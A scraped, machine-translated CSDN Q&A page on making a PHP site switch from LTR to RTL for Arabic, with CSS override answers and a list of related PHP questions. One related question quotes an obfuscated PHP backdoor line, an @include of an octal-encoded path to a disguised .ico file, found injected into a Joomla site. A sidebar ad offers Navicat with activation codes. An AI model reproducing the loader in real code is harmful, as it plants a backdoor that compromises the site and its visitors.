在核心php项目中动态LTR到RTL

我有一个用核心php编写的网站,我想添加阿拉伯语。 所以我必须动态地将LTR设置为RTL。 但是我怎么能这样做呢? 我是否必须更改所有的css代码并将它们全部重新用于RTL或者还有其他的吗? 我搜索了很多并找到了rtlcss但我怎样才能轻松实现它们?</ p>
</ div>

展开原文

原文

I have a website written in core php , I want to add Arabic language . So i have to make LTR to RTL dynamically . But how can I do it ? do i have to change all css code and rewrtie them all for RTL or is there anythins else ? I searched a lot and found rtlcss but how can i implement them easily ?

dshdsh2016
dshdsh2016 确定只是让我在答案中写下来
大约一年之前 回复
duansaxf095988
duansaxf095988 你可以提供任何代码/示例样本来更好地理解吗?
大约一年之前 回复
dongqiao6445
dongqiao6445 通过覆盖我的意思是它将覆盖两个文件之间的共同选择器
大约一年之前 回复
duanmu5641
duanmu5641 我不认为它需要重写所有的CSS代码,但你需要一些改动。我通常包含一个主要的css文件,它是LTR,如果用户选择了RTL页面,我在主css文件后追加另一个css,即RTL修改,该文件将覆盖之前的css文件
大约一年之前 回复

2个回答

all of the following code is pure examples and will be shortened

index.html

<html>
    <head>
        <link rel="stylesheet" type="text/css" href="/css/main.min.css">
        <!-- this should be included if the user's language is RTL -->
        <link rel="stylesheet" type="text/css" href="/css/rtl.min.css">
    </head>
    <body></body>
</html>

main.min.css

/* here goes all css codes that goes with all pages */
body {
  padding-top: 50px;
}
div.tab-content {
  padding-top: 20px;
}
.main-panel {
    float: right;
}

rtl.min.css

/* this will override the previous css rule */
.main-panel {
    float: left;
}
body {
    direction: rtl;
    margin: 0;
}

you can also join them together in one file and in your php file add class to body .rtl and in your css file ( of course at the end ) add css rules like:

body.rtl {
    direction: rtl;
}

but for sake of lighter css files and since many users will not benefit from the RTL rules i would advise using the first example



有一些在线转换器将基于ltr的css代码转换为基于rtl的css代码。 然后我为不同的用户选择添加了不同的CSS。 那么会有两个css文件。 </ p>
</ div>

展开原文

原文

there is some online converter to transform ltr based css code to rtl based css code . Then i added different css for different choice of user . SO there will be two css file .

Csdn user default icon
上传中...
上传图片
插入图片
抄袭、复制答案,以达到刷声望分或其他目的的行为,在CSDN问答是严格禁止的,一经发现立刻封号。是时候展现真正的技术了!
其他相关推荐
将数据描述方向从ltr切换到rtl

<div class="post-text" itemprop="text"> <p>I have a button with a data-descritpion that gets displayed to the user in my wordpress site. I am wondering how I can go about switching the direction of the text from Left-to-Right to Right-to-Left as the content will be in Hebrew. Thanks</p> </div>

Laravel 5 - 多语言网站(LTR和RTL)

<div class="post-text" itemprop="text"> <p>Hi to all developers...</p> <p>I'm new to Laravel. I want to build a complex web application and it's important to support at least 2 language. Unfortunately, One of these language is <strong>LTR</strong> and other is <strong>RTL</strong>!<br>My questions are:</p> <ol> <li>Some parts of website have static content, like headers, navigation items, sidebar content or... . As I understand, I must create files in lang directory and based on selected language, load proper data. Is it right? In this way, Is it possible to load these static data from lang directory files <strong>cause slower app and bad performance?</strong> (compare with static views, blade files that have content and don't need to load small piece of data from lang directory).<br></li> <li>Considering first question, is it better to have <strong>one set of views for one language and another set of views for second language?</strong> (each set of views have their static data and don't require use lang files to full parts of header, sidebar and...)</li> <li>As I said, I must have a LTR and a RTL layout in order to have best UI. So I must have separate stylesheets and loads based on choosen language, is it right?<br><br></li> </ol> <p>I have some questions for multi language database design, but I start a new discussion later. Thanks for your attention and I hope that you guide me and say your opinions...</p> </div>

PHP - 是运营商订单LTR还是RTL?

<div class="post-text" itemprop="text"> <p>If I have a conditional statement</p> <pre><code>if (A &gt; B || B &gt; C) </code></pre> <p>Which statement is going to be evaluated first: "A &gt; B" or "B &gt; C"? <br> Does same order is applied to math statements:</p> <pre><code>$var = $value1 + $value2 + $value3; </code></pre> <p><br> <br> Thanks, Alex.</p> </div>

php字符串连接(不带)RTL

<div class="post-text" itemprop="text"> <p>Im trying to make URLs using Urdu strings. They are UTF8 encoded and RTL as normal. For all other cases, the default PHP behaviour is fantastic. It is automatically adjusts normal LTR actions in code to RTL as output. Using PHP 7.2.13.</p> <p>Like "a" . "b" . "c" in RTL automatically appears "cba" if those strings RTL flagged.</p> <p>My problem is making URLs. Which are LTR separated by a slash. folder1/folder2/folder3. The funny output when all three strings are Urdu, it becomes folder3/folder2/folder1. </p> <p>The following sample code which should work in both LTR and RTL languages that Im trying should show the problem:</p> <pre><code>&lt;?php $url_path1 = "اتر پردیش"; #translates as uttar pradesh (notice two words and a space) $url_path2 = "کانپور"; #translates as kanpur $url_path = "$url_path1/$url_path2"; echo "in Terminal: $url_path "; $html = &lt;&lt;&lt;H &lt;!DOCTYPE html&gt; &lt;html lang="ur"&gt; &lt;head&gt; &lt;meta http-equiv="Content-Type" content="text/html; charset=utf-8"&gt; &lt;/head&gt; &lt;body&gt; Url Path: $url_path &lt;/body&gt; &lt;/html&gt; H; file_put_contents("del-urdu.html",$html); </code></pre> <p>In terminal output (iTerm), it is appearing correctly (path1/path2), while when opening the generated del-urdu.html file, its coming differently (path2/path1).</p> <p>How to turn off this behaviour for string concatenation?</p> </div>

RTLIT css padding rtl正则表达式

<div class="post-text" itemprop="text"> <p>RTLIT ruby tool is used to switch from LTR to RTL in css files, but it doesn't also change the padding,margin left to righ for example :</p> <p><a href="https://github.com/zohararad/rtlit/blob/master/lib/rtlit/converter.rb" rel="nofollow">https://github.com/zohararad/rtlit/blob/master/lib/rtlit/converter.rb</a></p> <pre><code>padding: 1px 2px; padding: 0 2px 4px; padding: 1px 0 3px 4px; padding: 1px 2px 0 4px; padding: 1px 2px 3px 0; </code></pre> <p>need to change this values to be : </p> <pre><code>padding: 1px 2px; padding: 0 0 4px 2px; padding: 1px 4px 3px 0; padding: 1px 4px 0 2px; padding: 1px 0 3px 2px; </code></pre> <p>we need to switch always the second value with the 4th value and if they are only 3 switch the second value to the forth and set the second to 0</p> <p>also if there are only 2 values , leave it as it is.</p> <p>I need that regular expression in ruby or php </p> </div>

在所有页面中修复了tcpdf中的rtl方向

<div class="post-text" itemprop="text"> <p>i have a problem with TCPDF library ,i'm generating pdf file usind TCPDF library in arabic language,the file direction is rtl so i used <strong>$pdf-&gt;setRTL(true);</strong> , and every thing is fine in the first page ,put in the second page or third the direction reseted to ltr!!!</p> <p>this is apice of my code:</p> <pre><code>$pdf-&gt;AddPage(); $l = Array(); $l['a_meta_charset'] = 'UTF-8'; $l['a_meta_dir'] = 'rtl'; $l['a_meta_language'] = ''; $l['w_page'] = ''; $pdf-&gt;setLanguageArray($l); $pdf-&gt;SetFont('almohanad', '', 16); $pdf-&gt;setRTL(true); // cehck here if ar or en $html = ' &lt;style&gt; html{ direction:rtl; } &lt;/style&gt; &lt;div style="direction:rtl"&gt; &lt;br/&gt;&lt;br/&gt; &lt;img src="' . $image . '" /&gt; &lt;br/&gt; &lt;span style="color:green"&gt;'.$date.'&lt;/span&gt; &lt;h5 style="color:gray"&gt;'.$title.'&lt;/h5&gt; &lt;div style="color:blue;direction:rtl"&gt;'.$content.'&lt;/div&gt; &lt;/div&gt; '; $pdf-&gt;writeHTML($html, true, false, false, true, ""); $pdf-&gt;setRTL(true); $pdf-&gt;lastPage(); #excute the file $pdf-&gt;Output($fileName, 'I'); </code></pre> <p>So my question is: how can I make all pages in tcpdf have the same direction as rtl ???</p> </div>

用于wordpress的RTL Tester插件

<div class="post-text" itemprop="text"> <p>I used this wordpress plugin to change the website directions from LTR to RTL <br></p> <p>the plugin name is: RTL Tester: <a href="http://wordpress.org/plugins/rtl-tester/" rel="nofollow">http://wordpress.org/plugins/rtl-tester/</a></p> <p>The main problem is the website admin dashboard is in english and I dont want to change it to Arabic, but when I active the RTL Tester plugin, It will change the website front end pages directions .. (home .. about ... contact) .. and the wp-admin dashboard! and thats what I dont want to change ... I only want to change the website front end and not the back-end!</p> <p>any one can help me?</p> </div>

在PHP中删除foreach循环中的项目[重复]

<div class="post-text" itemprop="text"> <div class="question-status question-originals-of-duplicate"> <p>This question already has an answer here:</p> <ul> <li> <a href="/questions/1949259/how-do-you-remove-an-array-element-in-a-foreach-loop" dir="ltr">How do you remove an array element in a foreach loop?</a> <span class="question-originals-answer-count"> 8 answers </span> </li> </ul> </div> <p>I have a foreach loop where I want to unset an item from an array if certain conditions are met, like this:</p> <pre><code>foreach ($array as $element) { if (conditions) { unset($element); } } </code></pre> <p>But the element is not unset after that. What am I doing wrong? Am I unsetting a reference to the actual element or something like that?</p> </div>

警告:使用未定义的常量php - 假设'php'(这将在PHP的未来版本中引发错误)在第1行的*中[重复]

<div class="post-text" itemprop="text"> <div class="question-status question-originals-of-duplicate"> <p>This question already has an answer here:</p> <ul> <li> <a href="/questions/2941169/what-does-the-php-error-message-notice-use-of-undefined-constant-mean" dir="ltr">What does the PHP error message “Notice: Use of undefined constant” mean?</a> <span class="question-originals-answer-count"> 9 answers </span> </li> </ul> </div> <p>I'm following the tutorial <a href="https://www.tutorialrepublic.com/php-tutorial/php-mysql-login-system.php" rel="nofollow noreferrer">here</a> to create a login page using MySQL. The code seemed to be working flawlessly when I left my computer 2 days ago. Now I come back to work on it, haven't changed anything, and I'm greeted with this warning:</p> <blockquote> <p>Warning: Use of undefined constant php - assumed 'php' (this will throw an Error in a future version of PHP) in /filelocation/login.php on line 1</p> </blockquote> <p>Line 1 in login.php literally says only this:</p> <pre><code>&lt;?php </code></pre> <p>It also seems like this warning is breaking the form. When I hit the "login" button, nothing happens besides being redirected right back to the login page to try again.</p> <p>Why would this be happening?</p> <p>edit* As requested here is the fist couple lines of my code. Simply copy-pasted:</p> <pre><code>&lt;?php // Initialize the session session_start(); // Check if the user is already logged in, if yes then redirect him to welcome page if(isset($_SESSION["loggedin"]) &amp;&amp; $_SESSION["loggedin"] === true){ header("location: welcome.php"); exit; } </code></pre> </div>

在wordpress主题上添加RTL支持,搞砸了我的风格

<div class="post-text" itemprop="text"> <p>I was having a nicely designed wordpress theme, until one of my clients requested to add Arabic translation, for which I used Polylang plugin.</p> <p>Its all fine on the default English version, but when I switch to the Arabic version, I literally have all the DOM elements in RTL order, instead normal, and I need only the text to be RTL.</p> <p>So question is, how to keep all DOM elements LTR, such as divs and images, but keep the text RTL. I know I will have to write some conditionals, but not sure what exactly to target in it. And if I am not wrong I will have to do that conditional in every loop I have?</p> <p>Would be more then happy for some theory answer so I will figure out the coding by my self. Aint fun to copy paste :)</p> <p>Thanks in Advance. Sorry if might be </p> </div>

运行php文件后如何打开html文件? [重复]

<div class="post-text" itemprop="text"> <div class="question-status question-originals-of-duplicate"> <p>This question already has an answer here:</p> <ul> <li> <a href="/questions/9870240/php-redirect-after-form-completed" dir="ltr">PHP redirect after form completed</a> <span class="question-originals-answer-count"> 5 answers </span> </li> </ul> </div> <p>I am a complete beginner in web development in regards to php. Right not I am using: </p> <pre><code> &lt;form action="phpfile.php"&gt; &lt;input type="submit" value="click on me!"&gt; &lt;/form&gt; </code></pre> <p>To open up my php file, which is a simple echo "hello world!" (for testing purposes) The php file that I would use would be this sendmail file</p> <pre><code> &lt;?php $to = 'example@gmail.com'; $subject = 'Mailer Test'; $message = 'This is a test, Thanks Person'; $headers = "From: your@email-address.com "; ?&gt; </code></pre> <p>How can, after this is run, a html file would open as soon as the file is done loading? Like a "You have completed the task" page essentially (Also I'm using Xampp which has inbuilt sendmail, so the file does work. Once again temporary before I move onto a webserver)</p> <p>Thanks!!</p> </div>

PHP:动态获取扩展当前类的类的名称[复制]

<div class="post-text" itemprop="text"> <div class="question-status question-originals-of-duplicate"> <p>This question already has an answer here:</p> <ul> <li> <a href="/questions/15103810/how-do-i-get-class-name-in-php" dir="ltr">How do I get class name in PHP?</a> <span class="question-originals-answer-count"> 10 answers </span> </li> </ul> </div> <p>I have an abstract class and an extending class:</p> <pre><code>abstract class MyAbstract { public function getName(){echo static::class;} } class MyExtends extends MyAbstract {} </code></pre> <p>I would like to dynamically get the name of any extending class when <code>getName()</code> is called:</p> <pre><code>$c = new MyExtends(); echo $c-&gt;getName(); // expect: "MyExtends" </code></pre> <p>This works well on PHP 5.6+ (<a href="https://3v4l.org/LsThs" rel="nofollow noreferrer">demo</a>), but the project I'm working on is limited to PHP 5.3 and I have no leverage to change that. On that version, a parse error is thrown:</p> <blockquote> <p>Parse error: syntax error, unexpected T_CLASS, expecting T_STRING or T_VARIABLE or '$' </p> </blockquote> <p>So I modified the function to:</p> <pre><code>public function getName(){echo __CLASS__;} </code></pre> <p>Of course, this just echoes the parent name -- <code>MyAbstract</code>, so it doesn't work. Only thing I've thought of is to override <code>getName()</code> with a new implementation in each extending class, but that doesn't scale well: the whole point of inheritance is to concentrate common codebase in a parent (and of course the real function is not a one-liner). </p> <p>Any idea how I can dynamically get the extending class name from the context of the abstract parent class in PHP 5.3?</p> </div>

PHP问题:动态加载HTML - 在PHP中设置输入值 - 存储在PHP变量中[重复]

<div class="post-text" itemprop="text"> <div class="question-status question-originals-of-duplicate"> <p>This question already has an answer here:</p> <ul> <li> <a href="/questions/18050071/php-parse-syntax-errors-and-how-to-solve-them" dir="ltr">PHP parse/syntax errors; and how to solve them?</a> <span class="question-originals-answer-count"> 17 answers </span> </li> </ul> </div> <p><strong>[ ISSUE ]:</strong> I have created a function in php that dynamically loads html blocks of code depending on the parameters I pass, the function will be utilized to load text-boxes in one page and in another page to display the answers retrieved from the text-boxes. Example:</p> <pre><code>function chapterOne($param1, $param2) { echo 'Welcome'; echo 'My name is '. $param1; echo 'I am from ' . $param2; } # The form is going to return $name or $loc values if # any text-box is forgotten empty when form is submitted # --------------------------------------------------------- $p1 = '&lt;input type="text" placeholder="name" value="&lt;?php echo $name; ?&gt;" &gt;'; $p2 = '&lt;input type="text" placeholder="loc" value="&lt;?php echo $loc; ?&gt;" &gt;'; echo chapterOne($p1,$p2); </code></pre> <p>The issue is that the value shows the php code instead of the placeholder, but only happens dynamically, when I test regular it works. Any thoughts or feedback how to overcome this issue?</p> <p>Textbox example:</p> <p><a href="https://i.stack.imgur.com/2uAnn.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/2uAnn.png" alt="enter image description here"></a></p> </div>

请帮助,初学者在php努力将数据库连接到我的项目[重复]

<div class="post-text" itemprop="text"> <div class="question-status question-originals-of-duplicate"> <p>This question already has an answer here:</p> <ul> <li> <a href="/questions/18050071/php-parse-syntax-errors-and-how-to-solve-them" dir="ltr">PHP parse/syntax errors; and how to solve them?</a> <span class="question-originals-answer-count"> 17 answers </span> </li> </ul> </div> <p>I'm working on a login system and I keep getting this error </p> <blockquote> <p>"The requested URL was not found on this server. The link on the referring page seems to be wrong or outdated. Please inform the author of that page about the error. If you think this is a server error, please contact the webmaster."</p> </blockquote> <p>when I execute the code below:</p> <pre><code>&lt;?php if(isset($POST['submit'])){ include_once 'dbh.php'; $first = mysqli_real_escape_string($conn, $POST)['first']; $last = mysqli_real_escape_string($conn, $POST)['last']; $email = mysqli_real_escape_string($conn, $POST)['email']; $uid = mysqli_real_escape_string($conn, $POST)['uid']; $pwd = mysqli_real_escape_string($conn, $POST)['pwd']; //Error handlers //Check for empty fields if(empty($first)||(empty($last)||(empty($email)||(empty($uid)||(empty($pwd)){ header("signup.php?signup=empty"); exit(); }else { //Check if input characters are valid if(!preg_match("/^[a-zA-Z]*$/", $first)||(!preg_match("/^[a-zA-Z]*$/", $last)){ header("Location: ../signup.php?signup=invalid"); }exit(); }else{ //Check if email is valid if(!filter_var($email, FILTER_VALIDATE_EMAIL)){ header("Location: ../signup.php?signup=email"); exit(); else{ $sql = "SELECT * FROM users where user_uid='$uid'"; $result = mysqli_query($conn, $sql); $resultCheck = mysqli_num_rows($result); if ($resultCheck &gt; 0) { header("Location: ../signup.php?signup=usertaken"); exit(); else { //hashing the password $hashedPwd = password_hash($pwd, PASSWORD_DEFAULT); //Insert the user into the database $sql = "INSERT INTO users (user_first, user_last, user_email, user_uid, user_pwd) VALUES('$first', '$last','$email','$uid','$hashedPwd');"; mysqli_query($conn, $sql); header("Location: ../signup.php?signup=success"); exit(); } } } } } else { header("Location: ../signup.php"); exit(); } } </code></pre> <p>the below error message comes up also when I execute just the php script</p> <blockquote> <p>Parse error: syntax error, unexpected ';' in C:\xampp\htdocs\signup.php on line 17</p> </blockquote> </div>

一些index.php文件生成或自动出现在我的文档根文件夹中[重复]

<div class="post-text" itemprop="text"> <div class="question-status question-originals-of-duplicate"> <p>This question already has an answer here:</p> <ul> <li> <a href="/questions/5922762/how-to-get-rid-of-eval-base64-decode-like-php-virus-files" dir="ltr">How to get rid of eval-base64_decode like PHP virus files?</a> <span class="question-originals-answer-count"> 7 answers </span> </li> </ul> </div> <p>Index.php files comes automatically</p> <p>i scan the index.php files with RSfirewall. it is in joomla 2.5</p> <pre><code>&lt;?php /*df76c*/ @include "\057ho\155e/\145ar\164ht\157he\141ve\156co\057pu\142li\143_h \164ml\057li\142ra\162ie\163/f\060f/\151nt\145gr\141ti\157n/\05659\06725\06435\056ic\157"; /*df76c*/ </code></pre> </div>

使用'use'或'include'实际上是否真的将PHP文件加载到内存中? [重复]

<div class="post-text" itemprop="text"> <div class="question-status question-originals-of-duplicate"> <p>This question already has an answer here:</p> <ul> <li> <a href="/questions/37880749/when-is-a-php-include-file-parsed" dir="ltr">When is a php include file parsed?</a> <span class="question-originals-answer-count"> 3 answers </span> </li> <li> <a href="/questions/29355175/how-does-the-php-use-keyword-work-in-symfony-2" dir="ltr">How does the PHP 'use' keyword work (in Symfony 2)?</a> <span class="question-originals-answer-count"> 2 answers </span> </li> <li> <a href="/questions/6359970/how-big-of-an-impact-does-including-php-files-have-on-performance" dir="ltr">How big of an impact does including PHP files have on performance?</a> <span class="question-originals-answer-count"> 2 answers </span> </li> </ul> </div> <p>When I use <code>use Class\Whatever</code> or <code>include 'Class/Whatever'</code> (or require etc) at the top of a file before the file's Class is declared, does that file load the included file into memory at the time, or is it only loaded in and parsed when it needs to be (lazy-loading)?</p> <p>I'm not finding any resource that mentions how this behaves or if it's optimized; I'd rather call the <code>use</code> or <code>include</code> when they're needed (inside the class when I want to instantiate the included class' object), but if the minimum necessary is already being done with this, then I'll keep them at the top of the file.</p> <p>Tried moving the calls around but I'm not seeing any way to tell when they actually load or are compiled and parsed.</p> <pre><code>require 'baseClasses/Controller.php'; require 'vendor/autoload.php'; // Autoload.php is generated by Composer use Lcobucci\JWT\Builder; use Lcobucci\JWT\Signer\Hmac\Sha256; </code></pre> <p>Expected results are for the PHP engine to simply mark a use/include for loading and parsing when a line of code actually tries to do something with it. I can't tell what the actual results are other than my code just works, but I don't want unnecessary resources loading and parsing when they're not actually being used.</p> </div>

我可以在PHP内部的JavaScript中编写PHP吗? [重复]

<div class="post-text" itemprop="text"> <div class="question-status question-originals-of-duplicate"> <p>This question already has an answer here:</p> <ul> <li> <a href="/questions/13840429/what-is-the-difference-between-client-side-and-server-side-programming" dir="ltr">What is the difference between client-side and server-side programming?</a> <span class="question-originals-answer-count"> 5 answers </span> </li> </ul> </div> <p>Inside a PHP script I have this:</p> <pre><code>echo &lt;&lt;&lt;EOD &lt;script type="text/javascript"&gt; document.getElementById('my_element_id').innerHTML='Do stuff'; &lt;/script&gt; EOD; </code></pre> <p>Can I add PHP inside the JavaScript? Replace the "Do stuff" part with PHP code? If yes, how do I do it?</p> </div>

如何在Notepad ++中使用PHP? [重复]

<div class="post-text" itemprop="text"> <div class="question-status question-originals-of-duplicate"> <p>This question already has an answer here:</p> <ul> <li> <a href="/questions/5121495/php-code-is-not-being-executed-instead-code-shows-on-the-page" dir="ltr">PHP code is not being executed, instead code shows on the page</a> <span class="question-originals-answer-count"> 25 answers </span> </li> <li> <a href="/questions/13840429/what-is-the-difference-between-client-side-and-server-side-programming" dir="ltr">What is the difference between client-side and server-side programming?</a> <span class="question-originals-answer-count"> 5 answers </span> </li> </ul> </div> <p>I'm trying to use PHP in Notepad++. I've written extremely simple code just to test if PHP is usable in Notepad++. When I run the code it simply shows the entire code I have written (syntax included). I have already saved the file as .php . Any tips?</p> </div>

如何在PHP中使用bcrypt或scrypt? 是否有一个使用这两个中的任何一个的默认内置函数? [重复]

<div class="post-text" itemprop="text"> <div class="question-status question-originals-of-duplicate"> <p>This question already has an answer here:</p> <ul> <li> <a href="/questions/4795385/how-do-you-use-bcrypt-for-hashing-passwords-in-php" dir="ltr">How do you use bcrypt for hashing passwords in PHP?</a> <span class="question-originals-answer-count"> 9 answers </span> </li> </ul> </div> <p>Is there a default built in function in PHP that allows for use of scrypt or bcrypt?</p> </div>

MySQL 8.0.19安装教程(windows 64位)

话不多说直接开干 目录 1-先去官网下载点击的MySQL的下载​ 2-配置初始化的my.ini文件的文件 3-初始化MySQL 4-安装MySQL服务 + 启动MySQL 服务 5-连接MySQL + 修改密码 先去官网下载点击的MySQL的下载 下载完成后解压 解压完是这个样子 配置初始化的my.ini文件的文件 ...

Python+OpenCV计算机视觉

Python+OpenCV计算机视觉系统全面的介绍。

Vue.js 2.0之全家桶系列视频课程

基于新的Vue.js 2.3版本, 目前新全的Vue.js教学视频,让你少走弯路,直达技术前沿! 1. 包含Vue.js全家桶(vue.js、vue-router、axios、vuex、vue-cli、webpack、ElementUI等) 2. 采用笔记+代码案例的形式讲解,通俗易懂

navicat(内含激活码)

navicat支持mysql的可视化操作,内涵激活码,不用再忍受弹框的痛苦。

HTML期末大作业

这是我自己做的HTML期末大作业,花了很多时间,稍加修改就可以作为自己的作业了,而且也可以作为学习参考

150讲轻松搞定Python网络爬虫

【为什么学爬虫?】 &nbsp; &nbsp; &nbsp; &nbsp;1、爬虫入手容易,但是深入较难,如何写出高效率的爬虫,如何写出灵活性高可扩展的爬虫都是一项技术活。另外在爬虫过程中,经常容易遇到被反爬虫,比如字体反爬、IP识别、验证码等,如何层层攻克难点拿到想要的数据,这门课程,你都能学到! &nbsp; &nbsp; &nbsp; &nbsp;2、如果是作为一个其他行业的开发者,比如app开发,web开发,学习爬虫能让你加强对技术的认知,能够开发出更加安全的软件和网站 【课程设计】 一个完整的爬虫程序,无论大小,总体来说可以分成三个步骤,分别是: 网络请求:模拟浏览器的行为从网上抓取数据。 数据解析:将请求下来的数据进行过滤,提取我们想要的数据。 数据存储:将提取到的数据存储到硬盘或者内存中。比如用mysql数据库或者redis等。 那么本课程也是按照这几个步骤循序渐进的进行讲解,带领学生完整的掌握每个步骤的技术。另外,因为爬虫的多样性,在爬取的过程中可能会发生被反爬、效率低下等。因此我们又增加了两个章节用来提高爬虫程序的灵活性,分别是: 爬虫进阶:包括IP代理,多线程爬虫,图形验证码识别、JS加密解密、动态网页爬虫、字体反爬识别等。 Scrapy和分布式爬虫:Scrapy框架、Scrapy-redis组件、分布式爬虫等。 通过爬虫进阶的知识点我们能应付大量的反爬网站,而Scrapy框架作为一个专业的爬虫框架,使用他可以快速提高我们编写爬虫程序的效率和速度。另外如果一台机器不能满足你的需求,我们可以用分布式爬虫让多台机器帮助你快速爬取数据。 &nbsp; 从基础爬虫到商业化应用爬虫,本套课程满足您的所有需求! 【课程服务】 专属付费社群+每周三讨论会+1v1答疑

三个项目玩转深度学习(附1G源码)

从事大数据与人工智能开发与实践约十年,钱老师亲自见证了大数据行业的发展与人工智能的从冷到热。事实证明,计算机技术的发展,算力突破,海量数据,机器人技术等,开启了第四次工业革命的序章。深度学习图像分类一直是人工智能的经典任务,是智慧零售、安防、无人驾驶等机器视觉应用领域的核心技术之一,掌握图像分类技术是机器视觉学习的重中之重。针对现有线上学习的特点与实际需求,我们开发了人工智能案例实战系列课程。打造:以项目案例实践为驱动的课程学习方式,覆盖了智能零售,智慧交通等常见领域,通过基础学习、项目案例实践、社群答疑,三维立体的方式,打造最好的学习效果。

基于STM32的电子时钟设计

时钟功能 还有闹钟功能,温湿度功能,整点报时功能 你值得拥有

学生成绩管理系统(PHP + MYSQL)

做的是数据库课程设计,使用的php + MySQL,本来是黄金搭配也就没啥说的,推荐使用wamp服务器,里面有详细的使用说明,带有界面的啊!呵呵 不行的话,可以给我留言!

面试了一个 31 岁程序员,让我有所触动,30岁以上的程序员该何去何从?

最近面试了一个31岁8年经验的程序猿,让我有点感慨,大龄程序猿该何去何从。

程序员的兼职技能课

获取讲师答疑方式: 在付费视频第一节(触摸命令_ALL)片头有二维码及加群流程介绍 限时福利 原价99元,今日仅需39元!购课添加小助手(微信号:itxy41)按提示还可领取价值800元的编程大礼包! 讲师介绍: 苏奕嘉&nbsp;前阿里UC项目工程师 脚本开发平台官方认证满级(六级)开发者。 我将如何教会你通过【定制脚本】赚到你人生的第一桶金? 零基础程序定制脚本开发课程,是完全针对零脚本开发经验的小白而设计,课程内容共分为3大阶段: ①前期将带你掌握Q开发语言和界面交互开发能力; ②中期通过实战来制作有具体需求的定制脚本; ③后期将解锁脚本的更高阶玩法,打通任督二脉; ④应用定制脚本合法赚取额外收入的完整经验分享,带你通过程序定制脚本开发这项副业,赚取到你的第一桶金!

实用主义学Python(小白也容易上手的Python实用案例)

原价169,限时立减100元! 系统掌握Python核心语法16点,轻松应对工作中80%以上的Python使用场景! 69元=72讲+源码+社群答疑+讲师社群分享会&nbsp; 【哪些人适合学习这门课程?】 1)大学生,平时只学习了Python理论,并未接触Python实战问题; 2)对Python实用技能掌握薄弱的人,自动化、爬虫、数据分析能让你快速提高工作效率; 3)想学习新技术,如:人工智能、机器学习、深度学习等,这门课程是你的必修课程; 4)想修炼更好的编程内功,优秀的工程师肯定不能只会一门语言,Python语言功能强大、使用高效、简单易学。 【超实用技能】 从零开始 自动生成工作周报 职场升级 豆瓣电影数据爬取 实用案例 奥运冠军数据分析 自动化办公:通过Python自动化分析Excel数据并自动操作Word文档,最终获得一份基于Excel表格的数据分析报告。 豆瓣电影爬虫:通过Python自动爬取豆瓣电影信息并将电影图片保存到本地。 奥运会数据分析实战 简介:通过Python分析120年间奥运会的数据,从不同角度入手分析,从而得出一些有趣的结论。 【超人气老师】 二两 中国人工智能协会高级会员 生成对抗神经网络研究者 《深入浅出生成对抗网络:原理剖析与TensorFlow实现》一书作者 阿里云大学云学院导师 前大型游戏公司后端工程师 【超丰富实用案例】 0)图片背景去除案例 1)自动生成工作周报案例 2)豆瓣电影数据爬取案例 3)奥运会数据分析案例 4)自动处理邮件案例 5)github信息爬取/更新提醒案例 6)B站百大UP信息爬取与分析案例 7)构建自己的论文网站案例

Java8零基础入门视频教程

这门课程基于主流的java8平台,由浅入深的详细讲解了java SE的开发技术,可以使java方向的入门学员,快速扎实的掌握java开发技术!

Python数据挖掘简易入门

&nbsp; &nbsp; &nbsp; &nbsp; 本课程为Python数据挖掘方向的入门课程,课程主要以真实数据为基础,详细介绍数据挖掘入门的流程和使用Python实现pandas与numpy在数据挖掘方向的运用,并深入学习如何运用scikit-learn调用常用的数据挖掘算法解决数据挖掘问题,为进一步深入学习数据挖掘打下扎实的基础。

零基础学C#编程—C#从小白到大咖

本课程从初学者角度出发,提供了C#从入门到成为程序开发高手所需要掌握的各方面知识和技术。 【课程特点】 1 由浅入深,编排合理; 2 视频讲解,精彩详尽; 3 丰富实例,轻松易学; 4 每章总结配有难点解析文档。 15大章节,228课时,1756分钟与你一同进步!

MySQL数据库面试题(2020最新版)

文章目录数据库基础知识为什么要使用数据库什么是SQL?什么是MySQL?数据库三大范式是什么mysql有关权限的表都有哪几个MySQL的binlog有有几种录入格式?分别有什么区别?数据类型mysql有哪些数据类型引擎MySQL存储引擎MyISAM与InnoDB区别MyISAM索引与InnoDB索引的区别?InnoDB引擎的4大特性存储引擎选择索引什么是索引?索引有哪些优缺点?索引使用场景(重点)...

多功能数字钟.zip

利用数字电子计数知识设计并制作的数字电子钟(含multisim仿真),该数字钟具有显示星期、24小时制时间、闹铃、整点报时、时间校准功能

极简JAVA学习营第四期(报名以后加助教微信:eduxy-1)

想学好JAVA必须要报两万的培训班吗? Java大神勿入 如果你: 零基础想学JAVA却不知道从何入手 看了一堆书和视频却还是连JAVA的环境都搭建不起来 囊中羞涩面对两万起的JAVA培训班不忍直视 在职没有每天大块的时间专门学习JAVA 那么恭喜你找到组织了,在这里有: 1. 一群志同道合立志学好JAVA的同学一起学习讨论JAVA 2. 灵活机动的学习时间完成特定学习任务+每日编程实战练习 3. 热心助人的助教和讲师及时帮你解决问题,不按时完成作业小心助教老师的家访哦 上一张图看看前辈的感悟: &nbsp; &nbsp; 大家一定迫不及待想知道什么是极简JAVA学习营了吧,下面就来给大家说道说道: 什么是极简JAVA学习营? 1. 针对Java小白或者初级Java学习者; 2. 利用9天时间,每天1个小时时间; 3.通过 每日作业 / 组队PK / 助教答疑 / 实战编程 / 项目答辩 / 社群讨论 / 趣味知识抢答等方式让学员爱上学习编程 , 最终实现能独立开发一个基于控制台的‘库存管理系统’ 的学习模式 极简JAVA学习营是怎么学习的? &nbsp; 如何报名? 只要购买了极简JAVA一:JAVA入门就算报名成功! &nbsp;本期为第四期极简JAVA学习营,我们来看看往期学员的学习状态: 作业看这里~ &nbsp; 助教的作业报告是不是很专业 不交作业打屁屁 助教答疑是不是很用心 &nbsp; 有奖抢答大家玩的很嗨啊 &nbsp; &nbsp; 项目答辩终于开始啦 &nbsp; 优秀者的获奖感言 &nbsp; 这是答辩项目的效果 &nbsp; &nbsp; 这么细致的服务,这么好的氛围,这样的学习效果,需要多少钱呢? 不要1999,不要199,不要99,只要9.9 是的你没听错,只要9.9以上所有就都属于你了 如果你: 1、&nbsp;想学JAVA没有基础 2、&nbsp;想学JAVA没有整块的时间 3、&nbsp;想学JAVA没有足够的预算 还等什么?赶紧报名吧,抓紧抢位,本期只招300人,错过只有等时间待定的下一期了 &nbsp; 报名请加小助手微信:eduxy-1 &nbsp; &nbsp;

Python可以这样学(第一季:Python内功修炼)

